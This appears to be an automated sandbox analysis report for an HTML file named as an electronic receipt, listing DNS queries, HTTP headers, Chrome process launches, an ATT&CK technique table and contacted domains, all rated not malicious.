Source: global traffic	DNS traffic detected: DNS query: eus.rubiconproject.com
Source: global traffic	DNS traffic detected: DNS query: eb2.3lift.com
Source: global traffic	DNS traffic detected: DNS query: js-sec.indexww.com
Source: global traffic	DNS traffic detected: DNS query: ads.rubiconproject.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: ib.adnxs.com
Source: global traffic	DNS traffic detected: DNS query: query2.finance.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: query1.finance.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: sync.1rx.io
Source: global traffic	DNS traffic detected: DNS query: wnsrvbjmeprtfrnfx.ay.delivery
Source: global traffic	DNS traffic detected: DNS query: match.adsrvr.org
Source: global traffic	DNS traffic detected: DNS query: sync-tm.everesttech.net
Source: global traffic	DNS traffic detected: DNS query: token.rubiconproject.com
Source: global traffic	DNS traffic detected: DNS query: cm.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: pr-bh.ybp.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: smarttag.rubiconproject.com
Source: global traffic	DNS traffic detected: DNS query: qsearch-a.akamaihd.net
Source: global traffic	DNS traffic detected: DNS query: ch-trc-events.taboola.com
Source: global traffic	DNS traffic detected: DNS query: vidanalytics.taboola.com
Source: global traffic	DNS traffic detected: DNS query: static.criteo.net
Source: global traffic	DNS traffic detected: DNS query: image6.pubmatic.com
Source: global traffic	DNS traffic detected: DNS query: us-u.openx.net
Source: global traffic	DNS traffic detected: DNS query: ad.turn.com
Source: global traffic	DNS traffic detected: DNS query: s.amazon-adsystem.com
Source: global traffic	DNS traffic detected: DNS query: pixel-eu.rubiconproject.com
Source: global traffic	DNS traffic detected: DNS query: px.ads.linkedin.com
Source: global traffic	DNS traffic detected: DNS query: sync.srv.stackadapt.com
Source: global traffic	DNS traffic detected: DNS query: image8.pubmatic.com
Source: global traffic	DNS traffic detected: DNS query: ssp.disqus.com
Source: global traffic	DNS traffic detected: DNS query: yahoo-match.dotomi.com
Source: global traffic	DNS traffic detected: DNS query: rtb.gumgum.com
Source: global traffic	DNS traffic detected: DNS query: beacon-ams3.rubiconproject.com
Source: global traffic	DNS traffic detected: DNS query: aax-eu.amazon-adsystem.com
Source: global traffic	DNS traffic detected: DNS query: sync.crwdcntrl.net
Source: global traffic	DNS traffic detected: DNS query: cr.frontend.weborama.fr
Source: global traffic	DNS traffic detected: DNS query: mwzeom.zeotap.com
Source: global traffic	DNS traffic detected: DNS query: um.simpli.fi

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/g/flow/ov1/194391686:1727712828:JRtCI2iqmwXzQ6uA9YbttRQhBtGvVV2Rs_-r0xzpao4/8cb5e237ab880f47/1bf49d3282149e4 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 2733sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: 1bf49d3282149e4sec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/yzcnc/0x4AAAAAAAj4CaQsDLLGC_TE/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 30 Sep 2024 17:20:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Age: 2368Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gyxYidiwrhwpJpPU6KB7GxxPwjhNOBH%2BaxWvYcHGoNOA%2FitPGk7RSFdoY0ynWhM4B51lfDJIo0JoS33kPQooXu52G4v82gwKgixTK8j3RjDDChJFd0cGRza3hwalCA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-EncodingSpeculation-Rules: "/cdn-cgi/speculation"CF-Cache-Status: HITServer: cloudflareCF-RAY: 8cb5e23e894f41db-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 30 Sep 2024 17:20:29 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: QqWE/mdnkcT4MSKr51UClgrYm3CJKfFwoag=$cW/iX2Ba/3OT/MCvServer: cloudflareCF-RAY: 8cb5e24ab82a443e-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 30 Sep 2024 17:20:35 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: TtdgnlvaADOaNJj4+LvREkpj7RdOcLUJSqU=$gsny4tREdzD1zfF8Server: cloudflareCF-RAY: 8cb5e26e3f8342dc-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 30 Sep 2024 17:20:51 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: qeLW0sh70VEIXNS0aLbpOr9H5XbpcYYNHHc=$seEsvBHZWAH/7C7Mcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8cb5e2d3efa980da-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 2067Date: Mon, 30 Sep 2024 17:21:04 GMTServer: ATSCache-Control: public, max-age=1Vary: Accept-EncodingX-Cache: Error from cloudfrontX-Amz-Cf-Pop: AMS58-P6X-Amz-Cf-Id: v6gnw8nyZKi41DeVPA2ZHRQO_YSG4HBEu1eje4Vnl4j8CRbrwWuA1Q==X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffReferrer-Policy: no-referrer-when-downgradeAge: 1Connection: closeStrict-Transport-Security: max-age=31536000Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.pnr.ouryahoo.com https://pnr.ouryahoo.com https://.search.aol.com https://.search.huffpost.com https://.onesearch.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=news&region=US&lang=en-US&device=desktop&yrid=6o9nr8tivmg0j&partner=;
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddenvary: Origincontent-length: 0date: Mon, 30 Sep 2024 17:21:17 GMTx-envoy-upstream-service-time: 0server: ATSx-envoy-decorator-operation: pbs--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/*X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffReferrer-Policy: no-referrer-when-downgradeAge: 0Connection: closeStrict-Transport-Security: max-age=31536000
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddenvary: Origincontent-length: 0date: Mon, 30 Sep 2024 17:21:17 GMTx-envoy-upstream-service-time: 0server: ATSx-envoy-decorator-operation: pbs--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/*X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffReferrer-Policy: no-referrer-when-downgradeAge: 0Connection: closeStrict-Transport-Security: max-age=31536000
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcache-control: no-storecontent-type: text/plaincontent-length: 18date: Mon, 30 Sep 2024 17:21:18 GMTx-envoy-upstream-service-time: 0server: ATSx-envoy-decorator-operation: pbd--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/*X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffReferrer-Policy: no-referrer-when-downgradeAge: 0Connection: closeStrict-Transport-Security: max-age=31536000Set-Cookie: __gpi=DELETE; Expires=Mon, 30 Sep 2024 17:11:18 GMT; Max-Age=0; Domain=pbd.yahoo.com; Path=; Secure; HttpOnlySet-Cookie: __gpi=DELETE; Expires=Mon, 30 Sep 2024 17:11:18 GMT; Max-Age=0; Domain=yahoo.com; Path=; Secure; HttpOnlySet-Cookie: __eoi=DELETE; Expires=Mon, 30 Sep 2024 17:11:18 GMT; Max-Age=0; Domain=pbd.yahoo.com; Path=; Secure; HttpOnlySet-Cookie: __eoi=DELETE; Expires=Mon, 30 Sep 2024 17:11:18 GMT; Max-Age=0; Domain=yahoo.com; Path=; Secure; HttpOnly
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 30 Sep 2024 17:22:04 GMTContent-Length: 0X-Forwarded-For: 8.46.123.33Via: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddenvary: Origincontent-length: 0date: Mon, 30 Sep 2024 17:22:05 GMTx-envoy-upstream-service-time: 0server: ATSx-envoy-decorator-operation: pbs--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/*X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffReferrer-Policy: no-referrer-when-downgradeAge: 0Connection: closeStrict-Transport-Security: max-age=31536000
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 30 Sep 2024 17:22:06 GMTContent-Type: application/jsonContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddenvary: Origincontent-length: 0date: Mon, 30 Sep 2024 17:22:06 GMTx-envoy-upstream-service-time: 0server: ATSx-envoy-decorator-operation: pbs--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/*X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffReferrer-Policy: no-referrer-when-downgradeAge: 0Connection: closeStrict-Transport-Security: max-age=31536000
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddenvary: Origincontent-length: 0date: Mon, 30 Sep 2024 17:22:08 GMTx-envoy-upstream-service-time: 0server: ATSx-envoy-decorator-operation: pbs--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/*X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffReferrer-Policy: no-referrer-when-downgradeAge: 0Connection: closeStrict-Transport-Security: max-age=31536000
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 30 Sep 2024 17:23:09 GMTContent-Length: 0X-Forwarded-For: 8.46.123.33Via: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 30 Sep 2024 17:23:11 GMTContent-Type: application/jsonContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 30 Sep 2024 17:23:50 GMTContent-Length: 0X-Forwarded-For: 8.46.123.33Via: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 30 Sep 2024 17:23:52 GMTContent-Type: application/jsonContent-Length: 146Connection: close

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Electronic_Receipt_ATT0001.htm"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2372 --field-trial-handle=2216,i,962291635718744552,10165825185328870103,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5540 --field-trial-handle=2216,i,962291635718744552,10165825185328870103,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2372 --field-trial-handle=2216,i,962291635718744552,10165825185328870103,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5540 --field-trial-handle=2216,i,962291635718744552,10165825185328870103,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Deobfuscate/Decode Files or Information	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Name	IP	Active	Malicious	Reputation
securepubads.g.doubleclick.net	142.250.185.130	true	false	unknown
um.simpli.fi	34.91.62.186	true	false	unknown
tls13.taboola.map.fastly.net	151.101.1.44	true	false	unknown
static.nl3.vip.prod.criteo.net	178.250.1.3	true	false	unknown
global.px.quantserve.com	91.228.74.166	true	false	unknown
ssum.casalemedia.com	172.64.151.101	true	false	unknown
prebid.media.net	34.120.63.153	true	false	unknown
i.clean.gg	34.95.69.49	true	false	unknown
rtb.openx.net	35.186.253.211	true	false	unknown
1.cpm.ak-is2.net	103.67.200.72	true	false	unknown
bttrack.com	192.132.33.69	true	false	unknown
cdn.w55c.net	3.73.2.196	true	false	unknown
crb.kargo.com	18.193.235.168	true	false	unknown
dualstack.tls13.taboola.map.fastly.net	151.101.193.44	true	false	unknown
mwzeom.zeotap.com	104.22.51.98	true	false	unknown
ats-eks.eu-central-1.dcs-online-targeting-prd.aws.oath.cloud	3.75.62.37	true	false	unknown
www.google.com	142.250.185.100	true	false	unknown
imagsync-lhrpairbc.pubmatic.com	185.64.191.214	true	false	unknown
sync.intentiq.com	3.160.150.30	true	false	unknown
noa-atsv2.media.g03.yahoodns.net	188.125.72.139	true	false	unknown
yahoo.com	74.6.231.21	true	false	unknown
id.rlcdn.com	35.244.174.68	true	false	unknown
match.adsrvr.org	52.223.40.198	true	false	unknown
dsp-cookie.adfarm1.adition.com	80.82.210.217	true	false	unknown
match.prod.bidr.io	52.210.237.114	true	false	unknown
ow-lhrc.pubmnet.com	185.64.190.84	true	false	unknown
dualstack.ioriver.map.fastly.net	199.232.211.52	true	false	unknown
pagead-googlehosted.l.google.com	142.250.185.193	true	false	unknown
creativecdn.com	185.184.8.90	true	false	unknown
pugm-lhrc.pubmnet.com	185.64.190.78	true	false	unknown
uip.semasio.net	77.243.51.122	true	false	unknown
zeta-ssp-385516103.us-east-1.elb.amazonaws.com	3.95.52.72	true	false	unknown
m.deepintent.com	8.18.47.7	true	false	unknown
events-ssc.33across.com	34.117.239.71	true	false	unknown
pool-eu.zagreb.iponweb.net	35.214.174.141	true	false	unknown
nld-prebid.a-mx.net	163.5.194.35	true	false	unknown
edge-prebid-cdn.g03.yahoodns.net	87.248.119.252	true	false	unknown
pug-lhr-bc.pubmnet.com	185.64.191.210	true	false	unknown
pixel-sync.sitescout.com	34.36.216.150	true	false	unknown
sync-yieldmo-com-tf-1869548451.eu-west-1.elb.amazonaws.com	3.251.14.0	true	false	unknown
euw-ice.360yield.com	34.250.159.220	true	false	unknown
warp.media.net	23.212.88.20	true	false	unknown
ActivationEdge-activation-212358690.eu-west-1.elb.amazonaws.com	52.49.76.6	true	false	unknown
ssum-sec.casalemedia.com	172.64.151.101	true	false	unknown
presentation-ams1.turn.com	46.228.164.11	true	false	unknown
hblg.media.net	23.212.88.20	true	false	unknown
lg3.media.net	23.212.88.20	true	false	unknown
rtb.adgrx.com	52.215.155.11	true	false	unknown
widget.us5.vip.prod.criteo.com	74.119.117.16	true	false	unknown
am1-direct-bgp.contextweb.com	208.93.169.131	true	false	unknown
hbx.media.net	23.212.88.20	true	false	unknown
iad-2-sync.go.sonobi.com	69.166.1.66	true	false	unknown
nlb-dflb-496f722d06cc67e2.elb.eu-north-1.amazonaws.com	13.50.192.155	true	false	unknown
de.tynt.com	67.202.105.34	true	false	unknown
k8s-kongow-generalp-f832200e79-1219784492.us-east-1.elb.amazonaws.com	54.197.49.144	true	false	unknown
hde.tynt.com	67.202.105.32	true	false	unknown
pixel-eu.onaudience.com	54.38.113.5	true	false	unknown
ch-vip001.taboola.com	141.226.124.48	true	false	unknown
cs550162656.adn.psicdn.net	152.195.53.200	true	false	unknown
core.iprom.net	195.5.165.20	true	false	unknown
contextual.media.net	88.221.168.23	true	false	unknown
tsdtocl.com	151.101.1.44	true	false	unknown
tp01.map.edgio.net	152.195.133.208	true	false	unknown
widget.nl3.vip.prod.criteo.com	178.250.1.9	true	false	unknown
spug-lhrc.pubmnet.com	185.64.190.81	true	false	unknown
id.a-mx.com	79.127.227.46	true	false	unknown
rtb.adentifi.com	52.54.66.88	true	false	unknown
ad.mrtnsvr.com	34.102.163.6	true	false	unknown
sync.srv.stackadapt.com	54.175.124.176	true	false	unknown
am-vip001.taboola.com	141.226.228.48	true	false	unknown
pixel.tapad.com	34.111.113.62	true	false	unknown
rtb-csync-euw2.smartadserver.com	91.134.110.136	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
pippio.com	107.178.254.65	true	false	unknown
sync.ipredictive.com	54.157.169.38	true	false	unknown
wnsrvbjmeprtfrnfx.ay.delivery	172.67.149.20	true	false	unknown
prod-rotation-v2.guce.aws.oath.cloud	52.31.79.192	true	false	unknown
s.amazon-adsystem.com	98.82.154.76	true	false	unknown
aax-eu.amazon-adsystem.com	52.95.126.160	true	false	unknown
ipac.ctnsnet.com	35.186.193.173	true	false	unknown
trace.mediago.io	35.208.249.213	true	false	unknown
geo-atsv2.media.g03.yahoodns.net	188.125.72.139	true	false	unknown
ssp-sync.nl3.vip.prod.criteo.com	178.250.1.7	true	false	unknown
outspot2-ams.adx.opera.com	82.145.213.8	true	false	unknown
match.adsby.bidtheatre.com	64.227.64.62	true	false	unknown
aws-bid-global.ybp.gysm.yahoodns.net	54.154.153.241	true	false	unknown
